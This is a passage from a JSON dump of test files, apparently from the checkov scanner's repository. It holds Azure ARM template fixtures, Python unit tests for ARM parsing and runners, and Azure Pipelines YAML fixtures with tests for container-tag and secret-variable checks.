\"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/rendering/test_rendering.py",
    "content": "from pathlib import Path\n\nfrom checkov.arm.graph_builder.local_graph import ArmLocalGraph\nfrom checkov.arm.utils import get_files_definitions\n\nEXAMPLES_DIR = Path(__file__).parent\n\n\ndef test_render_vars():\n    # given\n    test_file = EXAMPLES_DIR / \"test_rendering.json\"\n    definitions, _, _ = get_files_definitions([str(test_file)])\n    local_graph = ArmLocalGraph(definitions=definitions)\n    # when\n    local_graph.build_graph(render_variables=True)\n\n    # then\n    assert len(local_graph.vertices) == 5\n    assert len(local_graph.edges) == 5\n    assert local_graph.vertices[2].attributes['name'] == \"[format('{0}/{1}', aci-vnet, aci-networkProfile)]\"\n    assert local_graph.vertices[2].attributes['id'] == \"[resourceId('Microsoft.Network/networkProfiles', aci-networkProfile)]\"\n    assert local_graph.vertices[2].attributes['location'] == \"eth0\"\n    assert local_graph.vertices[2].attributes['properties.addressSpace.addressPrefixes.0'] == \"10.0.0.0/16\"\n    assert local_graph.vertices[2].attributes['properties']['addressSpace']['addressPrefixes'][0] == \"10.0.0.0/16\"\n\n"
  },
  {
    "path": "tests/arm/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/runner/resources/example.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/runner/resources/invalid.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"vmName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"The name of the VM.\"\n            }\n        },\n        \"resources\": [\n            {\n                \"apiVersion\": \"2019-03-01\",\n                \"type\": \"Microsoft.Compute/virtualMachines\",\n                \"name\": \"[parameters('vmName')]\",\n                \"location\": \"[parameters('region')]\",\n                \"tags\": \"[parameters('deployTags')]\",\n                \"properties\": {\n                    \"hardwareProfile\": {\n                        \"vmSize\": \"[parameters('vmSize')]\"\n                    },\n                    \"osProfile\": {\n                        \"computerName\": \"[parameters('vmName')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"adminPassword\": \"[parameters('adminPassword')]\"\n                    }\n                }\n            }\n        ]\n    }\n}"
  },
  {
    "path": "tests/arm/runner/resources/no_resource.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"name\": \"example\"\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\"\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/runner/test_runner.py",
    "content": "import dis\nimport inspect\nimport os\nimport unittest\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.registry import arm_resource_registry, arm_parameter_registry\n\nRESOURCES_DIR = Path(__file__).parent / \"resources\"\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def setUp(self) -> None:\n        self.orig_checks = arm_resource_registry.checks\n\n    def test_registry_has_type(self):\n        self.assertEqual(arm_resource_registry.report_type, CheckType.ARM)\n        self.assertEqual(arm_parameter_registry.report_type, CheckType.ARM)\n\n    def test_runner_honors_enforcement_rules(self):\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        runner = Runner()\n        filter = RunnerFilter(framework=['arm'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.ARM: Severities[BcSeverities.OFF]}\n        report = runner.run(root_folder=scan_dir_path, external_checks_dir=None, runner_filter=filter)\n\n        # then\n        summary = report.get_summary()\n\n        assert summary[\"passed\"] == 0\n        assert summary[\"failed\"] == 0\n        assert summary[\"skipped\"] == 0\n        assert summary[\"parsing_errors\"] == 0\n\n    def test_record_relative_path_with_relative_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AZURE_18']\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_abs_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        dir_abs_path = os.path.abspath(scan_dir_path)\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AZURE_18']\n        report = runner.run(root_folder=dir_abs_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_relative_file(self):\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"example.json\")\n\n        # this is the relative path to the file to scan (what would actually get passed to the -f arg)\n        file_rel_path = os.path.relpath(scan_file_path)\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AZURE_18']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path],\n                            runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_record_relative_path_with_abs_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"example.json\")\n\n        file_rel_path = os.path.relpath(scan_file_path)\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        runner = Runner()\n        checks_allowlist = ['CKV_AZURE_18']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path],\n                            runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_wrong_check_imports(self):\n        wrong_imports = [\"cloudformation\", \"dockerfile\", \"helm\", \"kubernetes\", \"serverless\", \"terraform\"]\n        check_imports = []\n\n        checks_path = Path(inspect.getfile(Runner)).parent.joinpath(\"checks\")\n        for file in checks_path.rglob(\"*.py\"):\n            with file.open() as f:\n                instructions = dis.get_instructions(f.read())\n                import_names = [instr.argval for instr in instructions if \"IMPORT_NAME\" == instr.opname]\n\n                for import_name in import_names:\n                    wrong_import = next((import_name for x in wrong_imports if x in import_name), None)\n                    if wrong_import:\n                        check_imports.append({file.name: wrong_import})\n\n        assert len(check_imports) == 0, f\"Wrong imports were added: {check_imports}\"\n\n    def test_record_includes_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        arm_resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"Microsoft.Web/sites\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.json\")\n\n        report = Runner().run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['arm'], checks=[custom_check_id])\n        )\n\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_severity_check_filter_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        arm_resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"Microsoft.Web/sites\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        checks_allowlist = ['MEDIUM']\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.json\")\n\n        report = Runner().run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['arm'], checks=checks_allowlist)\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_check_filter_include(self):\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        arm_resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"Microsoft.Web/sites\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        checks_allowlist = ['MEDIUM']\n        check.severity = Severities[BcSeverities.HIGH]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.json\")\n\n        report = Runner().run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['arm'], checks=checks_allowlist)\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_skip_check_filter_omit(self):\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n        arm_resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"Microsoft.Web/sites\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        checks_denylist = ['MEDIUM']\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.json\")\n\n        report = Runner().run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['arm'], skip_checks=checks_denylist)\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_skip_check_filter_include(self):\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n        arm_resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"Microsoft.Web/sites\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        checks_denylist = ['MEDIUM']\n        check.severity = Severities[BcSeverities.HIGH]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.json\")\n\n        report = Runner().run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['arm'], skip_checks=checks_denylist)\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_invalid_file_raises_no_exception(self):\n        # given\n        test_file_path = RESOURCES_DIR / \"invalid.json\"\n\n        # when\n        report = Runner().run(files=[str(test_file_path)])\n\n        # then\n        summary = report.get_summary()\n\n        assert summary[\"passed\"] == 0\n        assert summary[\"failed\"] == 0\n        assert summary[\"skipped\"] == 0\n        assert summary[\"parsing_errors\"] == 0\n\n    def test_no_resource_raises_no_exception(self):\n        # given\n        test_file_path = RESOURCES_DIR / \"no_resource.json\"\n\n        # when\n        report = Runner().run(files=[str(test_file_path)])\n\n        # then\n        summary = report.get_summary()\n\n        assert summary[\"passed\"] == 0\n        assert summary[\"failed\"] == 0\n        assert summary[\"skipped\"] == 0\n        assert summary[\"parsing_errors\"] == 0\n\n    def tearDown(self):\n        arm_resource_registry.checks = self.orig_checks\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/test_graph_manager.py",
    "content": "from pathlib import Path\n\nimport pytest\n\nfrom checkov.arm.graph_manager import ArmGraphManager\nfrom checkov.arm.utils import get_files_definitions, ArmElements\nfrom checkov.arm.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_build_graph_from_definitions(graph_connector):\n    # given\n    test_file = str(EXAMPLES_DIR / \"container_instance.json\")\n    definitions, _, _ = get_files_definitions([test_file])\n\n    graph_manager = ArmGraphManager(db_connector=graph_connector())\n\n    # when\n    local_graph = graph_manager.build_graph_from_definitions(definitions=definitions, render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == 18\n    assert len(local_graph.edges) == 24\n\n    # resource name will change, when variable rendering is supported\n    container_idx = local_graph.vertices_by_path_and_id[(test_file, \"Microsoft.ContainerInstance/containerGroups.[parameters('containerGroupName')]\")]\n    container = local_graph.vertices[container_idx]\n\n    assert container.block_type == BlockType.RESOURCE\n    assert container.id == \"Microsoft.ContainerInstance/containerGroups.[parameters('containerGroupName')]\"\n    assert container.source == GraphSource.ARM\n\n    assert container.attributes[START_LINE] == 156\n    assert container.attributes[END_LINE] == 191\n    assert container.attributes[CustomAttributes.RESOURCE_TYPE] == \"Microsoft.ContainerInstance/containerGroups\"\n\n    assert container.config[\"type\"] == \"Microsoft.ContainerInstance/containerGroups\"\n    assert container.config[\"apiVersion\"] == \"2019-12-01\"\n    assert container.config[\"name\"] == \"[parameters('containerGroupName')]\"\n    assert container.config[\"location\"] == \"[parameters('location')]\"\n\n    assert container.config[\"properties\"][\"osType\"] == \"Linux\"\n    assert container.config[\"properties\"][\"restartPolicy\"] == \"Always\"\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_build_graph_from_definitions2(graph_connector):\n    # given\n    test_file = str(EXAMPLES_DIR / \"container_instance.json\")\n    definitions, _, _ = get_files_definitions([test_file])\n\n    graph_manager = ArmGraphManager(db_connector=graph_connector())\n\n    # when\n    local_graph = graph_manager.build_graph_from_definitions(definitions=definitions)\n\n    # then\n    assert len(local_graph.vertices) == 18\n    assert len(local_graph.edges) == 27 # more edges because we did render_variables and its add the dependsOn edges"
  },
  {
    "path": "tests/arm/test_scanner_registry.py",
    "content": "import unittest\n\nfrom checkov.arm.registry import arm_resource_registry, arm_parameter_registry\n\n\nclass TestScannerRegistry(unittest.TestCase):\n\n    def test_num_of_scanners(self):\n        resource_scanners_counter = 0\n        for key in list(arm_resource_registry.checks.keys()):\n            resource_scanners_counter += len(arm_resource_registry.checks[key])\n\n        self.assertGreater(resource_scanners_counter, 0)\n\n        parameter_scanners_counter = 0\n        for key in list(arm_parameter_registry.checks.keys()):\n            parameter_scanners_counter += len(arm_parameter_registry.checks[key])\n\n        self.assertGreater(parameter_scanners_counter, 0)\n\n    def test_non_colliding_check_ids(self):\n        check_id_check_class_map = {}\n        for (resource_type, checks) in arm_resource_registry.checks.items():\n            for check in checks:\n                check_id_check_class_map.setdefault(check.id, []).append(check)\n\n        for (resource_type, checks) in arm_parameter_registry.checks.items():\n            for check in checks:\n                check_id_check_class_map.setdefault(check.id, []).append(check)\n\n        for check_id, check_classes in check_id_check_class_map.items():\n            self.assertEqual(len(set(check_classes)), 1)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/test_utils.py",
    "content": "from pathlib import Path\n\nfrom checkov.arm.utils import get_files_definitions, extract_resource_name_from_reference_func\n\n\ndef test_get_files_definitions_with_parsing_error():\n    # given\n    file_path = Path(__file__).parent / \"parser/examples/json/with_comments.json\"\n\n    # when\n    definitions, definitions_raw, parsing_errors = get_files_definitions([str(file_path)])\n\n    # then\n    assert definitions == {}\n    assert definitions_raw == {}\n    assert len(parsing_errors) == 1\n    assert parsing_errors[0].endswith(\"parser/examples/json/with_comments.json\")\n\n\ndef test_extract_resource_name_from_reference_func():\n    test_cases = [\"reference('storageAccountName')\",\n                  \"reference('myStorage').primaryEndpoints\",\n                  \"reference('myStorage', '2022-09-01', 'Full').location\",\n                  \"reference(resourceId('storageResourceGroup', 'Microsoft.Storage/storageAccounts', \"\n                  \"'storageAccountName')), '2022-09-01')\",\n                  \"reference(resourceId('Microsoft.Network/publicIPAddresses', 'ipAddressName'))\"]\n\n    expected = [\"storageAccountName\", \"myStorage\", \"myStorage\", \"storageAccountName\", \"ipAddressName\"]\n\n    for i, test_case in enumerate(test_cases):\n        assert extract_resource_name_from_reference_func(test_case) == expected[i]\n"
  },
  {
    "path": "tests/azure_pipelines/__init__.py",
    "content": ""
  },
  {
    "path": "tests/azure_pipelines/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/azure_pipelines/checks/jobs/__init__.py",
    "content": ""
  },
  {
    "path": "tests/azure_pipelines/checks/jobs/example_ContainerDigest/azure-pipelines.yml",
    "content": "trigger:\n- master\n\nresources:\n  repositories:\n  - repository: AzureDevOps\n    type: git\n    endpoint: AzureDevOps\n    name: AzureDevOps/AzureDevOps\n\nstages:\n- stage: Example\n  displayName: ExampleDisplayName\n  jobs:\n  - job: FailNoTag\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu\n\n    steps:\n      - script: printenv\n        displayName: printenvDisplayName\n  - job: PassDigest\n    displayName: PassDigestDisplayName\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db\n\n    steps:\n      - script: printenv\n        name: printenvName\n\njobs:\n- job: FailTag\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container: ubuntu:20.04\n\n  steps:\n    - script: printenv\n"
  },
  {
    "path": "tests/azure_pipelines/checks/jobs/example_ContainerLatestTag/azure-pipelines.yml",
    "content": "trigger:\n- master\n\nresources:\n  repositories:\n  - repository: AzureDevOps\n    type: git\n    endpoint: AzureDevOps\n    name: AzureDevOps/AzureDevOps\n\nstages:\n- stage: Example\n  jobs:\n  - job: FailNoTag\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu\n\n    steps:\n      - script: printenv\n  - job: PassDigest\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db\n\n    steps:\n      - script: printenv\n\njobs:\n- job: FailLatestTag\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container: ubuntu:latest\n\n  steps:\n    - script: printenv\n\n- job: PassTag\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container: ubuntu:20.04\n\n  steps:\n    - script: printenv\n\n- job: FailAnotherLatestTag\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container:\n    image: node:latest\n\n  steps:\n    - script: printenv\n\n"
  },
  {
    "path": "tests/azure_pipelines/checks/jobs/example_SetSecretVariable/azure-pipelines.yml",
    "content": "resources:\n- repo: self\n\ntrigger:\n- master\n\nstages:\n- stage: Example\n  jobs:\n  - job: PassSetNoSecretVariable\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu\n\n    steps:\n      - bash: |\n          echo \"##vso[task.setvariable variable=normal_variable;issecret=false]something\"\n      - powershell: |\n          Write-Host \"##vso[task.setvariable variable=normal_variable;issecret=false]something\"\n  - job: UnknownNoSetVariable\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db\n\n    steps:\n      - bash: |\n          echo \"hello world\"\n      - powershell: |\n          Write-Host \"hello world\"\n\njobs:\n- job: FailSetSecretVariable\n  pool:\n    vmImage: 'ubuntu-20.04'\n  steps:\n  - bash: |\n      echo \"##vso[task.setvariable variable=normal_variable;]something\"\n      echo \"##vso[task.setvariable variable=secret_variable;issecret=true]super-secret\"\n    name: setSecretVariableStep\n  - powershell: |\n      Write-Host \"##vso[task.setvariable variable=normal_variable;]something\"\n      Write-Host \"##vso[task.setvariable variable=secret_variable;issecret=true]super-secret\"\n\n- job: PassSetNormalVariable\n  pool:\n    vmImage: 'ubuntu-20.04'\n  steps:\n  - bash: |\n      echo \"##vso[task.setvariable variable=normal_variable;]something\"\n  - powershell: |\n      Write-Host \"##vso[task.setvariable variable=normal_variable;]something\"\n"
  },
  {
    "path": "tests/azure_pipelines/checks/jobs/test_ContainerDigest.py",
    "content": "from pathlib import Path\n\nfrom checkov.azure_pipelines.runner import Runner\nfrom checkov.azure_pipelines.checks.job.ContainerDigest import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_ContainerDigest\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        f\"stages[0](ExampleDisplayName).jobs[1](PassDigestDisplayName)\",\n    }\n\n    failing_resources = {\n        f\"jobs[0](FailTag)\",\n        f\"stages[0](ExampleDisplayName).jobs[0](FailNoTag)\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/azure_pipelines/checks/jobs/test_ContainerLatestTag.py",
    "content": "from pathlib import Path\n\nfrom checkov.azure_pipelines.runner import Runner\nfrom checkov.azure_pipelines.checks.job.ContainerLatestTag import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_ContainerLatestTag\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        f\"jobs[1](PassTag)\",\n        f\"stages[0](Example).jobs[1](PassDigest)\",\n    }\n\n    failing_resources = {\n        f\"jobs[0](FailLatestTag)\",\n        f\"stages[0](Example).jobs[0](FailNoTag)\",\n        f\"jobs[2](FailAnotherLatestTag)\"\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/azure_pipelines/checks/jobs/test_SetSecretVariable.py",
    "content": "from pathlib import Path\n\nfrom checkov.azure_pipelines.runner import Runner\nfrom checkov.azure_pipelines.checks.job.SetSecretVariable import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_SetSecretVariable\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        f\"jobs[1](PassSetNormalVariable).steps[0]\",\n        f\"jobs[1](PassSetNormalVariable).steps[1]\",\n        f\"stages[0](Example).jobs[0](PassSetNoSecretVariable).steps[0]\",\n        f\"stages[0](Example).jobs[0](PassSetNoSecretVariable).steps[1]\",\n    }\n\n    failing_resources = {\n        f\"jobs[0](FailSetSecretVariable).steps[0](setSecretVariableStep)\",\n        f\"jobs[0](FailSetSecretVariable).steps[1]\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/azure_pipelines/conftest.py",
    "content": "from __future__ import annotations\nfrom typing import Any, Tuple\n\nimport pytest\n\n\n@pytest.fixture\ndef supported_entities() -> Tuple[str, str]:\n    return 'jobs', 'stages[].jobs[]'\n\n\n@pytest.fixture\ndef definitions() -> dict[str, Any]:\n    return {\n        '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml': {\n            'trigger': ['master'],\n            'resources': {\n                'repositories': [\n                    {\n                        'repository': 'AzureDevOps',\n                        'type': 'git',\n                        'endpoint': 'AzureDevOps',\n                        'name': 'AzureDevOps/AzureDevOps',\n                        '__startline__': 6,\n                        '__endline__': 11\n                    }\n                ],\n                '__startline__': 5,\n                '__endline__': 11\n            },\n            'stages': [\n                {\n                    'stage': 'Example',\n                    'jobs': [\n                        {\n                            'job': 'FailNoTag',\n                            'displayName': 